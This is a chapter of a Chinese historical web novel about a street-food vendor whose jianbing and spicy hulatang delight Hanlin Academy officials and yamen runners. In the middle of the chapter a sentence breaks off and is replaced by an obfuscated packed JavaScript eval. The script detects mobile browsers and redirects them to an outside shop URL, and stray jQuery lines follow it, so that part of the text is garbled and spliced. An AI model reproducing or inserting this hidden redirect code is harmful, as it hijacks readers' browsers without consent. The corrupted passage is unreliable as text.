第16章


    时下食盒多为漆盒，保温效果极佳，打开后，左边放着他买的煎饼果子。


    右边则放着摊主赠送的胡辣汤，热气腾腾，闻着味道比煎饼果子更要浓烈。


    但陈述犹豫片刻，还是先拿起了煎饼果子。


    他这人性子保守，不喜尝试新东西，煎饼果子很是符合他的口味。


    拿着油纸慢慢咀嚼，同样的东西，每吃每有新味。酱汁涂满煎饼，佐料挤着佐料，满满的一大口，便争先恐后往嘴里跑。


    猪柳软嫩、鲜香，果篦儿酥脆、油润，菜蔬更是水嫩多汁，不是往常的草味，清爽之外，又有明显的回甘。


    吃的陈述开始怀疑自己以前怎么没发现叶子菜这么好吃。


    怕吃不饱，陈述这次买的煎饼果子里额外加了两根油炸桧。


    这东西也是刚炸的，单闻味道油香十足，只不过太油腻，吃多了嗓子眼都要糊住了。


    所以陈述平日很少吃。


    可当它被裹进煎饼果子里，一切都不同了。


    热腾腾的煎饼让油炸桧逐渐“软化”，边缘保持微脆，内里却已经熏软，蓬松的气泡吸饱了酱汁，变得韧软而有嚼劲。


    大口大口吞咽，哪里还有油腻感？反而是吸收了酱料的味道，与豆面香相互衬托，口感无比丰富。


    两个煎饼下去，陈述腹中有了饱腹感，只是嘴里难免干涩。


    他的目光不由落向那碗胡辣汤，犹豫片刻，还是端起来小心地抿了一口。


    刚入口，一股强烈的辛辣便直冲喉头，陈述毫无防备下，被呛得连连咳嗽，连眼角都泛了泪。


    嘿！


    那商贩小娘子做的汤，也忒辛了吧！


    心里念念叨叨，虽如此，陈述却并未放下，方才那一下子被呛得厉害，但尝到的滋味却着实特别，是他从未吃过的味道。


    他定了定神，再次端起碗。


    这次有了准备，陈述没有再被呛到，胡辣汤汤底棕黄，因加了淀粉水，只看外表，浓稠如浆，随着动作微微晃动时，汤水沾到碗壁，而后缓缓挂壁。


    可这样其貌不扬的汤，入口却是惊为天人。


    随着滚热的稠液滑下喉咙，霎那间，陈述仿佛尝出了百种滋味。


    胡椒的辛，茱萸的辣，花椒的麻，淀粉的稠，齐齐扑面而来，四者在舌尖纠缠，融合，最后彼此衬托，不仅不突兀，反而让汤酸香鲜醇，厚润绵长。


    胡椒开道，待冲劲的辛辣散去后，便是各种香料的回甘，陈述一边喝汤，一边吃菜，里面配菜也极其丰盛，简单一瞧，便有菘菜、萝卜、木耳、豆芽。


    菘菜吸饱了汤汁，鲜美油亮，咀嚼起来软烂但不散。萝卜水分多，炖得透了心，牙齿一咬，汁水便“噗嗤”涌出来。


    木耳切成细条，黑黢黢混在汤中，瞧着不起眼，吃起来倒是咯吱脆生。还有那豆芽，一芽两吃，黄豆粒酥烂粉糯，细嫩的银芽挺着脆骨，吃起来也脆，水灵灵的清甜。


    此外，还有一种奇怪的片状面食，蜂窝似的蓬松，里里外外吸满了汤汁，滑嫩到舌尖一碰，就“出溜”逃走，竟成为陈述最喜欢的东西。


    生姜和茱萸激起辣味，间以花椒胡椒生麻，本就是性温热的调料，炖进一锅汤里，一股暖流自喉间涌向四肢百骸，将浑身寒意驱散殆尽。


    陈述哪里还记得一开始的嫌弃，喝的酣畅淋漓，惊喜不已。


    没想到一个街边小食摊居然能做出如此美食，不由庆幸自己没有拒绝，一时间吃得更加津津有味，全然没有注意到周围情况。


    直到一个温和的声音在旁边响起：“陈编修今日雅兴，带了这般香的吃食来。”


    陈述抬眸，看到来人后，连忙站起身，拱手行礼：“费大人。”


    来人是翰林院修撰费宏，成化二十三年的状元，前段时间因校阅试卷积劳成疾，告假归乡调养，如今官复原职，是同僚中的佼佼者，陈述一向敬重他。


    费宏看着他桌上的食盒，目光在那碗胡辣汤上停了停，笑道：“这汤闻着倒是特别。”


    陈述有些拘谨，听费宏问起，慌乱之下居然把汤往对方那边推了推，脱口而出：“费大人若是不嫌弃可以尝尝。”


    话出口他就后悔了。


    本是出于尊敬，没指望费宏真会喝，毕竟费宏的身份摆在那儿。


    可万万没想到，费宏竟点了点头，笑着说：“好啊，看着确实不错。”


    “？”


    天天个老爷，什么叫搬起石头砸自己的脚？


    哪怕心中悔恨不已，陈述也不得不找了个干净的小碗，小心翼翼地分了一半胡辣汤给费宏。


    费宏接过碗，并没讲究，直接当着对方的面喝起来。


    比起陈述，显然他是个能吃辣的，胡辣汤的辣口对他来说正对滋味，通透不烧胃。


    咸味拖底，茱萸姜片带来醇厚的辛辣，花椒负责提味点睛，于是舌尖只有微微麻意，不至于失去知觉。


    几口下去，鼻尖先泛起细密的汗意，而后呼吸变得暖烘烘。浓稠的汤羹挂着勺壁，裹着每一粒蔬菜不肯撒手。


    恍惚间，费宏忽而想起少年时负笈游学的场景。


    大雪凛冽，他与同行几人被困于荒郊驿亭，双脚冻得早已失去知觉，他出身世家，却第一次感受到百姓之苦楚。


    那时瑟缩在快要熄灭的火堆旁，心中最炽热的渴盼，不过是有一碗能烫透肺腑的热汤。


    若是天下老百姓人人手中都有一碗这样的热汤，该多好。


    恍惚过后，费宏回过神，低头看向碗中。


    虽然是汤，但其中的配菜可不少，木耳是脆爽的，豆芽带着点清甜，面筋则吸足了汤汁，嚼起来韧劲十足又饱满湿润，明明是普通到不能再普通的食材，却让人吃了还想吃。


    若非周围还有其他人，费宏连最后一滴汤都想舔干净。


    他不舍地放下碗，由衷赞叹：“这胡辣汤味道确实好。”


    又看向陈述，询问道：“此羹可是陈兄所制？”


    陈述摇摇头，他哪里有这般本事，刚要开口回答，突然听见廨署的门“吱呀”一声惨叫、转头一看，竟是几位同僚你推我挤，一不小心摔倒在地，被发现后，一个个面露窘色。


    “……咳，那个，我们其实也想问问，这汤是哪儿买的。”


    “呵呵，没错，实在是闻着太香了。”


    陈述：“……”


    青年翰林面色变得古怪。


    他从前只当这些同僚个个清冷自持、不重口腹之欲，如今却见他们为了一碗胡辣汤如此失态，莫名的，心中的紧张感不知不觉中消散许多。


    他压下嘴角的弧度，一本正经回答：“这是安定门大街的一个小食摊，摊主是位小娘子，除了胡辣汤，她做的煎饼果子也特别好吃。”


    /


    大都角头。


    除了最初食客多的时候，姜至喜有些忙乱，后面过了最热闹的时辰，她逐渐适应节奏，一个人也游刃有余。


    摊煎饼，收钱，净手，再摊煎饼。


    邻摊的王大对她每做完一饼便要净手的习惯很是费解，只觉得这小娘子忒讲究。


    直到瞧见顺天府衙的衙役特意巡至她的摊前，买了饼子不说，还称赞她这洁净做派。


    “……”


    默默把吐槽的话咽回去，暗下决心明日也得备上点儿油纸，做不到次次净手，用油纸垫着给客人切豆腐也是好的。


    姜至喜并未意识到，自己不知不觉间已成了这条街上的风向标。


    看到五六个衙役朝摊子走来，她从对面的汤饼铺子里借了两条长木凳置于摊子旁边，勉强作为歇息的地。


    随即落落大方地迎上前招呼：“几位差爷辛苦！今日吃点什么？”


    笑意可谓百分百真诚。


    俗话说“县官不如现管”，这些衙役职位虽不高，可在这市


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991815|193744||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    井街巷中，说话做事却比县太爷还顶用，先前薛三那桩事，便是明证。


    姜至喜打定主意抱大腿，在摊完煎饼果子后，又每人赠送一碗新品胡辣汤。


    一大桶胡辣汤，用料三斤配菜，能盛出五十多碗，即便每碗只售三文，刨去本钱，也净赚百来文。


    最关键的是，不像煎饼果子似的费力气。


    姜至喜心中快速盘算，五位衙役便是十五文钱，于如今的她而言，完全可以承担。


    衙役的俸禄不算高，白送的东西自然不会拒绝。


    本以为是普通汤水，毕竟瞧着颜色深，像极了农家的粗茶淡汤，大家并没抱多大期望。有人甚至暗暗吸气，一副视死如归的模样仰头灌下——


    “唔！”


    同僚看不下去，笑骂：“别卖憨。”


    那衙役喉结滚动，好不容易咽下去，闻言翻了个白眼：“谁卖憨！我是说好喝，太好喝了！”


    汤体稠厚顺滑，轻轻吸溜便顺着喉咙滑下，调料的辛香刺激着舌尖，随后在口中层层散开。


    和食肆中薄到透明的鸡蛋汤不同，姜记煎饼果子的小娘子实在厚道，胡辣汤里面放满了配菜，打眼一瞧就有四五种，一碗下肚，踏实顶饱。


    衙役眼珠子转了转，计上心来：“你要不喝，我不介意帮你解决。”


    “滚滚滚！”


    同僚赶紧端着碗躲开。


    他还不信了，就算是x，他今日也要亲自尝尝咸淡！


    然后——“小娘子，再来一碗！”


    姜至喜用一碗赠品打开了胡辣汤的生意，接下来陆续收到了五六份定钱。


    晏几身为古代版富二代，见识比旁人广博些：“这是河南布政使司那边的吃食吧，你会做豫菜？”


    姜至喜抿嘴一笑：“算不得精通，只是略懂一些皮毛。”


    晏几闻言，倒是来了兴致：“那你可还会做其他地方的风味？”


    姜至喜沉吟片刻，谨慎答道：“不知差爷指的是哪些？一些大的菜系民女不敢夸口，倒是各地街头巷尾的小吃，略知几样。”


    她随口报了几样点心小食的名字，其中有的连晏几都未曾听闻，原本略带倨傲的神色缓下来，甚至忍不住偷偷咽口水。见状，姜至喜顺势说道，日后若有机会，会在摊上陆续推出这些新品。


    这也是她一开始的打算。


    煎饼果子是食摊的主推，再隔三差五添些别样小吃，既维持新鲜，又能根据菜园的蔬菜解锁不同搭配，反过来升级菜园。


    末了，她还趁机打探了薛三几人的情况。


    晏几对姜至喜的印象不错，乐得为她解答：“那几人是军户，公然经商本就不合法，这次更是倒霉撞到了锦衣卫手中，短时间内是出不来了。”


    锦衣卫？


    闻言，姜至喜微微诧异，显然不明白怎么和锦衣卫扯到干系。


    不过无论如何，自己家总算是能安稳些了。


    晏几吃饱喝足，帕子一抹嘴巴，走的时候又往木筐里扔下一粒碎银。


    “你这小摊既想添新品，便好好做来，何必送来送去？我晏三岂是贪便宜的人。”


    闻言，姜至喜哭笑不得：“那也多了，煎饼果子八文，胡辣汤五文，哪里需要这么多。”


    可晏几早已大步走远，只背对着她摆摆手，示意不必再找。


    姜至喜也知道有钱人不在乎这点小钱，于是不再纠结，想着大不了等下次晏几再来时，自己不收银钱便是了。


    “咳，你这儿可还有吃食？”


    这时候，又有一个食客过来。


    姜至喜闻声转过头来，尚未开口，目光先注意到对方身上穿着的衣袍。


    玄色锦缎，上绣飞鱼纹，于云涛海涯间隐约露出的龙首鱼尾之形，分明是只有锦衣卫才有的飞鱼服。


    心头猛地一紧，面上却不动声色，姜至喜仰起笑脸：“有的，这位客官想要用点什么？”